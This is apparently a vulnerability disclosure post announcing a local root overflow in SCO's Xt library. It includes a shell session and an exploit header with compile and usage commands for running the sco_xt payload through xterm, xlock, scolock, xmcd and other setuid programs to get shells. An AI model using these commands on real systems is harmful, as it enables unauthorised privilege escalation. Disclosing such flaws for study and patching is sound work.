    Greetings,
    
        As I mentioned in an earlier post, virtually all of SCO's programs
    using the Xt library are vulnerable to a local root exploit.  The proofs
    of concept follow:
    
    They all go something like this:
    
    scobox:/tmp_mnt/home/btellier$ uname -a
    SCO_SV scobox 3.2 5.0.5 i386
    scobox:/tmp_mnt/home/btellier$ id
    uid=136(btellier) gid=100(devel) groups=100(devel),998(www)
    scobox:/tmp_mnt/home/btellier$ xmcd -bg `./sco_xt -9000 2200`

     * Generic SCO Xt library overflow program by Brock Tellier
    btellierat_private
     * Tested on SCO 5.0.5+Skunkware98
     * All programs using the Xt library are believed vulnerable
     *
       Compile gcc -o sco_xt sco_xt.c
       Usage: /usr/bin/X11/scolock -bg `./sco_xt -9000 2000`
              /usr/bin/X11/xmcd -bg `./sco_xt -8500 2000`
       /usr/bin/X11/xlock -bg `./sco_xt -8500 2000`
       /usr/bin/X11/xterm -bg `./sco_xt -9000 2000`
    
     * NOTE: xscreensaver and xload are vulnerable to the overflow but drop
     * privs before the overflow occurs.  Of course, they were suid auth so
    that
     * they could read /etc/shadow and thus your shellcode could exploit
    something
     * along those lines.  I got shells out of them by doing:
       /usr/bin/X11/xscreensaver -bg `./sco_xt -8404 2200`
       /usr/bin/X11/xload -bg `./sco_xt -8404 2200`
